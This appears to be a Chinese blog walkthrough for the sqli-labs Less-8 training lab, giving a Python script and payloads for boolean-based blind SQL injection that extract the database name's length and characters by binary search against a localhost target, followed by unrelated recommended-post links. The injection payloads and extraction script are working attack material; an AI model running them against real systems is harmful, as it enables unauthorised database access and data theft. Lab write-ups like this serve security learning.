sqli-labs 第八关盲注python脚本

目录

​编辑

判断库名

1.库名长度

2.库名


复制代码
import requests
import math

url = "http://127.0.0.1/Less-8"

def dblength():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i

def dbname():
    dbname = ''
    length = dblength()
    for i in range(1, length + 1):
        low = 32
        high = 126
        flag = 0
        while low <= high:
            mid = (low + high) // 2
            payload = f"1' and ascii(substr(database(),{i},1))>{mid}-- "
            data = {'id': payload}
            res = requests.get(url, params=data)
            if 'You are in...........' in res.text:
                low = mid
            else:
                high = mid
            if mid == flag:
                dbname += chr(math.floor(mid + 1))
                break
            flag = mid
        print(dbname)
    return dbname


print('dbname is', dbname())

判断库名

1.库名长度

当大于一个不存在的长度的时候,就不会回显:

但是这个长度存在的话,会返回一个"You are in.........":

所以payload是1' and length(database())>{i}--+

复制代码
def length():
    for i in range(20):
        payload = f"1' and length(database())>{i}-- "
        data = {'id': payload}
        res = requests.get(url, params=data)
        if 'You are in...........' not in res.text:
            return i

2.库名

长度已经得出来了,然后就一个字符一个字符的判断是什么:

复制代码
payload:1' and ascii(substr(database(),1,1))>33--+

1.用ascll码对应字母数字,且范围是32-126

2.当没有返回值的时候就说明等于而不是大于,就得出值了。

3.加上二分法判断,比直接遍历要快

相关推荐
加号313 小时前
windows系统下mysql多源数据库同步部署
数据库·windows·mysql
シ風箏13 小时前
MySQL【部署 04】Docker部署 MySQL8.0.32 版本(网盘镜像及启动命令分享)
数据库·mysql·docker
李慕婉学姐13 小时前
Springboot智慧社区系统设计与开发6n99s526(程序+源码+数据库+调试部署+开发环境)带论文文档1万字以上,文末可获取,系统界面在最后面。
数据库·spring boot·后端
多恩Stone13 小时前
【C++入门扫盲1】C++ 与 Python:类型、编译器/解释器与 CPU 的关系
开发语言·c++·人工智能·python·算法·3d·aigc
QQ40220549614 小时前
Python+django+vue3预制菜半成品配菜平台
开发语言·python·django
百锦再14 小时前
Django实现接口token检测的实现方案
数据库·python·django·sqlite·flask·fastapi·pip
QQ51100828514 小时前
python+springboot+django/flask的校园资料分享系统
spring boot·python·django·flask·node.js·php
QQ_196328847514 小时前
Python-flask框架西山区家政服务评价系统网站设计与开发-Pycharm django
python·pycharm·flask
遥遥江上月14 小时前
Node.js + Stagehand + Python 部署
开发语言·python·node.js
B站计算机毕业设计超人14 小时前
计算机毕业设计Django+Vue.js音乐推荐系统 音乐可视化 大数据毕业设计 (源码+文档+PPT+讲解)
大数据·vue.js·hadoop·python·spark·django·课程设计